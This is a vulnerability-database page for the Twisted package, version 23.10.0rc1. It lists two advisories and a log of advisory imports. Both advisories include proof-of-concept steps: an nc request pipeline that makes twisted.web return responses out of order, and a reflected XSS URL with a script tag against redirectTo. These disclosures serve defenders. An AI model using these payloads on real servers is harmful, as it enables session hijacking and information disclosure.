Search for packages
Package details: pkg:pypi/twisted@23.10.0rc1
purl pkg:pypi/twisted@23.10.0rc1
Next non-vulnerable version 24.7.0rc1
Latest non-vulnerable version 24.7.0rc1
Risk 4.0
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-j9j7-9v69-aaas
Aliases:
CVE-2024-41671
GHSA-c8m8-j448-xjx7
twisted.web has disordered HTTP pipeline response ### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
24.7.0rc1
Affected by 0 other vulnerabilities.
VCID-q9z9-b3dx-aaah
Aliases:
CVE-2024-41810
GHSA-cf56-g6w6-pqq2
PYSEC-2024-75
Twisted vulnerable to HTML injection in HTTP redirect body ### Summary The `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body. ### Details Twisted’s `redirectTo` function generates an `HTTP 302 Redirect` response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination. The function reflects the destination URL in the HTML body without any output encoding. ```python # https://github.com/twisted/twisted/blob/trunk/src/twisted/web/_template_util.py#L88 def redirectTo(URL: bytes, request: IRequest) -> bytes: # ---snip--- content = b""" <html> <head> <meta http-equiv=\"refresh\" content=\"0;URL=%(url)s\"> </head> <body bgcolor=\"#FFFFFF\" text=\"#000000\"> <a href=\"%(url)s\">click here</a> </body> </html> """ % { b"url": URL } return content ``` If an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack. It’s worth noting that the issue is known to maintainers and tracked with GitHub [Issue#9839](https://github.com/twisted/twisted/issues/9839). The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…” ### PoC The issue can be reproduced by running the following Twisted-based HTTP server locally: ```python from twisted.web import server, resource from twisted.internet import reactor from twisted.web.util import redirectTo class Simple(resource.Resource): isLeaf = True def render_GET(self, request): url = request.args[b'url'][0] # <-- open redirect return redirectTo(url, request) site = server.Site(Simple()) reactor.listenTCP(9009, site) reactor.run() ``` Once running, navigate to the following URL: `http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>`, and verify that the “alert” dialog was displayed. **Note**: Due to the different ways browsers validate the redirect Location header, this attack is possible only in **Firefox**. All other tested browsers will display an error message to the user and will not render the HTML body. ### Impact If successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.
24.7.0rc1
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-m7xg-ermr-aaae twisted.web has disordered HTTP pipeline response CVE-2023-46137
GHSA-xc8x-vp79-p3wm
PYSEC-2023-224

Date Actor Action Vulnerability Source VulnerableCode Version
2025-06-20T17:05:45.148171+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 36.1.3
2025-06-20T17:05:44.736188+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 36.1.3
2025-06-20T16:46:43.771229+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 36.1.3
2025-06-03T23:41:59.962134+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 36.1.0
2025-06-03T23:41:59.585741+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 36.1.0
2025-06-03T23:24:36.699362+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 36.1.0
2025-06-02T23:40:13.516912+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 36.1.2
2025-06-02T23:40:13.110724+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 36.1.2
2025-06-02T23:22:03.675290+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 36.1.2
2025-04-03T22:19:25.518352+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 36.0.0
2025-04-03T22:19:24.557495+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 36.0.0
2025-04-03T21:42:28.787160+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 36.0.0
2025-02-18T04:04:38.902233+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 35.1.0
2025-02-18T04:04:30.402351+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 35.1.0
2025-02-18T03:39:45.233954+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 35.1.0
2024-11-21T01:13:06.572727+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 35.0.0
2024-11-21T01:12:59.738785+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 35.0.0
2024-11-21T00:58:51.977296+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 35.0.0
2024-11-19T15:50:03.992186+00:00 GitLab Importer Fixing VCID-m7xg-ermr-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2023-46137.yml 34.3.2
2024-11-19T01:01:37.461394+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 34.3.2
2024-11-19T01:01:30.787315+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 34.3.2
2024-10-15T19:17:37.218534+00:00 GithubOSV Importer Fixing VCID-m7xg-ermr-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-xc8x-vp79-p3wm/GHSA-xc8x-vp79-p3wm.json 34.0.2
2024-10-08T01:39:18.824671+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 34.0.2
2024-10-08T01:39:11.659508+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 34.0.2
2024-10-07T22:19:31.414278+00:00 GHSA Importer Affected by VCID-q9z9-b3dx-aaah https://github.com/advisories/GHSA-cf56-g6w6-pqq2 34.0.2
2024-10-07T22:19:23.184998+00:00 GHSA Importer Affected by VCID-j9j7-9v69-aaas https://github.com/advisories/GHSA-c8m8-j448-xjx7 34.0.2
2024-10-07T21:45:40.864294+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae https://github.com/advisories/GHSA-xc8x-vp79-p3wm 34.0.2
2024-09-23T01:42:43.465623+00:00 GitLab Importer Affected by VCID-q9z9-b3dx-aaah https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41810.yml 34.0.1
2024-09-23T01:42:37.573257+00:00 GitLab Importer Affected by VCID-j9j7-9v69-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/Twisted/CVE-2024-41671.yml 34.0.1
2024-09-22T22:45:35.991175+00:00 GHSA Importer Affected by VCID-q9z9-b3dx-aaah https://github.com/advisories/GHSA-cf56-g6w6-pqq2 34.0.1
2024-09-22T22:45:29.598813+00:00 GHSA Importer Affected by VCID-j9j7-9v69-aaas https://github.com/advisories/GHSA-c8m8-j448-xjx7 34.0.1
2024-09-18T12:29:11.918513+00:00 Pypa Importer Affected by VCID-q9z9-b3dx-aaah https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2024-75.yaml 34.0.1
2024-09-18T12:28:44.520133+00:00 Pypa Importer Fixing VCID-m7xg-ermr-aaae https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2023-224.yaml 34.0.1
2024-09-18T09:22:03.664800+00:00 GithubOSV Importer Fixing VCID-m7xg-ermr-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-xc8x-vp79-p3wm/GHSA-xc8x-vp79-p3wm.json 34.0.1
2024-09-17T23:19:46.397224+00:00 PyPI Importer Affected by VCID-q9z9-b3dx-aaah https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 34.0.1
2024-09-17T23:18:06.363292+00:00 PyPI Importer Fixing VCID-m7xg-ermr-aaae https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 34.0.1
2024-09-17T22:13:33.185511+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae https://github.com/advisories/GHSA-xc8x-vp79-p3wm 34.0.1
2024-05-17T20:53:35.110450+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae https://github.com/advisories/GHSA-xc8x-vp79-p3wm 34.0.0rc4
2024-05-17T20:53:34.589747+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae None 34.0.0rc4
2024-04-23T23:14:08.254527+00:00 GithubOSV Importer Fixing VCID-m7xg-ermr-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/10/GHSA-xc8x-vp79-p3wm/GHSA-xc8x-vp79-p3wm.json 34.0.0rc4
2024-01-10T03:01:10.925233+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae https://github.com/advisories/GHSA-xc8x-vp79-p3wm 34.0.0rc2
2024-01-10T03:01:10.407154+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae None 34.0.0rc2
2024-01-03T18:54:23.934925+00:00 PyPI Importer Fixing VCID-m7xg-ermr-aaae https://osv-vulnerabilities.storage.googleapis.com/PyPI/all.zip 34.0.0rc1
2024-01-03T18:10:15.572495+00:00 Pypa Importer Fixing VCID-m7xg-ermr-aaae https://github.com/pypa/advisory-database/blob/main/vulns/twisted/PYSEC-2023-224.yaml 34.0.0rc1
2024-01-03T17:43:44.422064+00:00 GHSA Importer Fixing VCID-m7xg-ermr-aaae https://github.com/advisories/GHSA-xc8x-vp79-p3wm 34.0.0rc1